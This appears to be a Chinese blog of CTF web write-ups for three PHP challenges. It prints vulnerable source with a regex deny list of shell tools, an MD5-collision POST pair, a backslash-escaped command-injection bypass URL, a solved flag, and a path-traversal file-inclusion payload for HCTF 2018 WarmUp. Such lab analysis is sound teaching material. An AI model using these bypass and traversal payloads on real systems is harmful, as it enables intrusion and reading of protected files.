if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";

# 这部分源码才是核心
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>

第二波源核心码分析:

# 正则表达式过滤
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {

# 无法避开过滤时,直接暴雷
echo("forbid ~");
echo "<br>";
} else {
# 避开过滤,检测a和b参数,都是post传输的
# 当a参数和b参数不相等,但是md5值相等时,通过判定
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
# 通过验证,则执行Linux命令(``这两个小点算是Linux的标志)
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

拆解了下,最麻烦的其实就一个,怎么传参cmd才能绕过正则表达式过滤执行命令,弹出敏感信息。

# 令人咋舌的正则表达式过滤
# 简单说下过滤了什么东西:
#

文件和目录相关命令:
ls:列出目录内容。
cat:显示文件内容。
od:以不同格式显示文件内容。

文本处理命令:
tac:反向显示文件内容。
nl:给文件行添加行号。
more:分页显示文件内容。
less:按需显示文件内容。
head:显示文件开头部分。
tail:显示文件结尾部分。
grep:在文件中搜索指定模式。
sed:流编辑器,用于处理和转换文本。

网络相关命令:
wget:从网络上下载文件。

编辑器和浏览器命令:
vi:文本编辑器。
emacs:文本编辑器。
nano:文本编辑器。

压缩和解压命令:
bzmore:对bzip2压缩文件进行分页查看。
bzless:对bzip2压缩文件进行按需查看。

工具命令:
pcre:Perl兼容的正则表达式工具。
paste:合并文件内容。
diff:比较两个文件的差异。
file:确定文件类型。
echo:输出文本。
sh:Shell解释器。



好了,这个问题可以暂时按下不表,可以优先解决两个POST参数的问题。

两个POST参数怎么做到明文不同而且密文相同?原本翻烂了网上的WP,找到一个我需要的。

这里才是这道题最难的地方,不知道解出这道题的第一个人是咋解决的。先借鉴下它们的wp。

这里是三个等号,是强类型比较,很难顶。

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这是Post参数,至于CMD的参数还是得一个一个实验

解决cmd参数的绕过有两种解决办法
(1) 取出没有被禁用的函数进行测试
(2) 一步步测试,找出这种正则表达式过滤的漏洞

这还真别说,有人实验出了漏洞。实验的人采用了 \ 掺杂在命令当中来进行执行
还真的绕过去了

下面实验使用的是渗透版的火狐:

这是URL:
http://zzzz.challenge.qsnctf.com:8081/index.php?
img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=c\at%20\.\.\/\.\.\/\.\.\/\f\l\ag

其中的POST参数就是上面的a和b

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

后面有时间再把这部分的解密补上。

到这里就能真的测定flag了。之前使用hackbar火狐没成功,这次使用的是旧版。

上面那个就是真实的WP了,整个过程挺好玩的

结论

这个地方,涉及了少部分的PHP函数,基本上属于代码审计,第一时间扫目录也没什么起色。

这里涉及了加密的知识,base64是基础,16进制的hex加密我竟然一时间没看出来,是我太菜了。

以及后面的md5的比较的问题,没办法直接解决。不过总的来讲,这道题才是web代码审计的入门题吧。

上头了,嘿嘿。

CheckMe01

原始描述

题目当中有一个输入框,一个提交按钮,点击提交任意字符出现了如下原始代码:

<title>CheckMe-01</title>
<?php
print("<h1>欢迎来到CheckMe-01,快来寻找你的Flag并提交吧。</h1>");
?>
<form action="index.php" method="POST">
your key: <input type="text" name="key" />
<input type="submit" value="Submit" />
</form>
<?php
if(!empty($_POST['key'])){
$keys = $_POST['key'];
show_source("index.php");
$keys = base64_decode(urldecode($keys));
if(strlen($keys)==6){
if($keys=="qsnctf"){
print("<p>You win!</p>");
include("flag.php");
print($flag);
}
}
else{
print("末心:大漏特漏!此乃九年义务教育漏网之鱼。");
}
}
?>

解题

核心代码:

<?php
if(!empty($_POST['key'])){ # POST接收参数,检测参数是否为空
$keys = $_POST['key'];
show_source("index.php");
$keys = base64_decode(urldecode($keys));
if(strlen($keys)==6){
if($keys=="qsnctf"){
print("<p>You win!</p>");
include("flag.php");
print($flag);
}
}
else{
print("末心:大漏特漏!此乃九年义务教育漏网之鱼。");
}
}
?>

解析下涉及的函数

empty()         检测是否为空
show_source() 显示指定文件的源代码
base64_decode() 解析base64字符串
urldecode() URL解码
strlen() 计算字符串长度
include() 文件包含

解析核心代码

# 1.优先绕过empty,否则参数将无法传入
if(!empty($_POST['key'])){ # POST接收参数,检测参数是否为空,
# 存在参数key则继续下面代码
$keys = $_POST['key']; # 获取key参数

show_source("index.php");

# url解密和base64解密
$keys = base64_decode(urldecode($keys));

# 弱类型对比有两个
# 这……连绕过都免了
# 说简单点,这正是对两个解密的判断,只需要把qsnctf编码就行
if(strlen($keys)==6){
if($keys=="qsnctf"){
print("<p>You win!</p>");
include("flag.php");
print($flag);
}
}
else{
print("末心:大漏特漏!此乃九年义务教育漏网之鱼。");
}
}

解法很简单,如下

# 解密代码如下:
echo base64_encode(urlencode('qsnctf'));

# 解密函数解密后的结果放到输入框提交就能得到flag
qsnctf{ad31ec22-6ccf-45e7-a423-392583510a4f}

是我高估这道题目了,居然这么简单,连WP都省的查了。

[HCTF 2018]WarmUp-代码审计

事先声明:BUUCTF靶场突然崩溃,说是迁移了,一时间没有找到合适的靶场,等恢复了再补上。

从网页源代码中知道的信息:source.php

访问source.php获得下面信息:

 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

核心代码

if (! empty($_REQUEST['file'])              // 检测变量是否为空
&& is_string($_REQUEST['file']) // 检测是否为字符串
&& emmm::checkFile($_REQUEST['file']) // 校验参数
) {
include $_REQUEST['file']; // 按照参数的传递进行文件包含(★)
exit;
} else {
// 返回没有用的滑稽图片
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

条件代码

// 关键语句
if (! empty($_REQUEST['file']) // 检测变量是否为空
&& is_string($_REQUEST['file']) // 检测是否为字符串
&& emmm::checkFile($_REQUEST['file']) // 校验参数
)

# 实现include文件包含的办法:
# 将上面的表达式简化为布尔值时可为下:
对应布尔值 解析
if(true&&true&&true){...} => $_REQUEST['file']) 字符串不为空 是字符串 校验参数为true
if(false&&false&&false){...} => $_REQUEST['file']) 字符串确是空 非字符串 校验参数为false
if(true&&true&&false){...} => 混杂模式,会导致无法文件包含,不符合要求,不考虑

多一嘴:其中涉及布尔值,布尔值简单说说,如下:
&& 与 真真为真,真假/假真为假,假假为真
|| 或 有真为真,其余为假
! 非 化假为真,化真为假

简单示范:
true && true => true ; true && false => fasle
true || false => true; false || false => false
!true => false ; !false => true

说直白点,要么全是真,要么全是假

if语句当中,满足条件的方式有:
(1)$_REQUEST['file']不为空,!empty($_REQUEST['file']才会返回true
(2)$_REQUEST['file']是字符串,is_string($_REQUEST['file']才会返回true;
(3)checkFile($_REQUEST['file']返回true,emmm::checkFile($_REQUEST['file']才
会返回true

分析校验类

校验类的目的只有一个:返回true

class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 数组
if (! isset($page) || !is_string($page)) { //检测是否存在和是否为字符串
echo "you can't see it";
return false; //表示不符合条件,退出检测
}

if (in_array($page, $whitelist)) { //检测元素是否在数组当中
return true;
}

$_page = mb_substr( // 从0mb_strpos($page . '?', '?')截取字符串,查看是否有page
$page,
0,
mb_strpos($page . '?', '?') // 查字符串 '?' 是否在 $page.'?'当中,返回第一个
);
if (in_array($_page, $whitelist)) { // 查$_page是否在数组$whitelist当中
return true;
}

$_page = urldecode($page); // 将$page进行url解码
$_page = mb_substr( // 从0mb_strpos($_page . '?', '?')截取字符串,查看是否有$_page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { // 查是否在数组
return true;
}
echo "you can't see it";
return false;
}
}

涉及的可能需要绕过的函数:

isset()         检测是否存在
is_string() 检测是否为字符串
in_array() 检测是否在数组
mb_substr() 返回指定字符串的子串
mb_strpos() 查找指定字符串在目标字符串中首次出现的位置。
urldecode() url解码

假设校验类返回的是true

$whitelist = ["source"=>"source.php","hint"=>"hint.php"]

# 1."非" 判断,任意字符串都能绕过
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

# 2.数组判断,
#如果参数不单独带着source.php或者hint.php,就一定false
if (in_array($page, $whitelist)) {
return true;
}

# 3.检测是否存在问号,并且截断到第一个问号出现的位置
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

# 4.检测截取的字符串$_page是否是source.php或者hint.php
if (in_array($_page, $whitelist)) {
return true;
}

# 5.url解码
$_page = urldecode($page);

# 6.通过$_page再次进截断获取字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

# 7.判断第二次获取的$_page是否是source.php或者hint.php
if (in_array($_page, $whitelist)) {
return true;
}

# 8.全部if都无法跳脱的情况下返回的字符串
echo "you can't see it";
return false;

构造payload:

# 这里有一个大前提,就是通过网址访问hint.ph获得下面的信息:
flag not here, and flag in ffffllllaaaagggg
# 说明flag在ffffllllaaaagggg文件当中。
# 但是怎么打开并且文件包含呢?
# 实验了下,使用下面方法就行

payload:
source.php?file=source.php?../../../../../ffffllllaaaagggg

解析下,"source.php?file=source.php?../../../../../ffffllllaaaagggg"
字符串的整体可以直接通过核心代码判断,进入校验类,
并且通过了上面的 1.和 2.两种情况。情况3. 解析字符串的时候,
因为我们自己添加的 ? 导致它只能按照我们划定的字符串截取,也就是截取了source.php
截取完成后返回了true,验证代码直接通过。
剩下的是尝试在当前目录获取文件内容。

因为是文件包含,尝试在后面包含ffffllllaaaagggg文件。
本地实验时,出现了形如a.php?b.php无法包含成功的问题
所以这个包含算是有些突兀的尝试
按照上面的payload就能直接得出flag了

总结

涉及的函数:
isset() 检测是否存在
is_string() 检测是否为字符串
in_array() 检测是否在数组
mb_substr() 返回指定字符串的子串
mb_strpos() 查找指定字符串在目标字符串中首次出现的位置。
urldecode() url解码
真正需要考虑绕过的函数/符合条件获取布尔的函数:
isset() is_string() in_array() mb_substr() mb_strpos()

这里都是卡题目给出的条件,例如给出?的截断
这里的重点是结合代码分析出怎么构造payload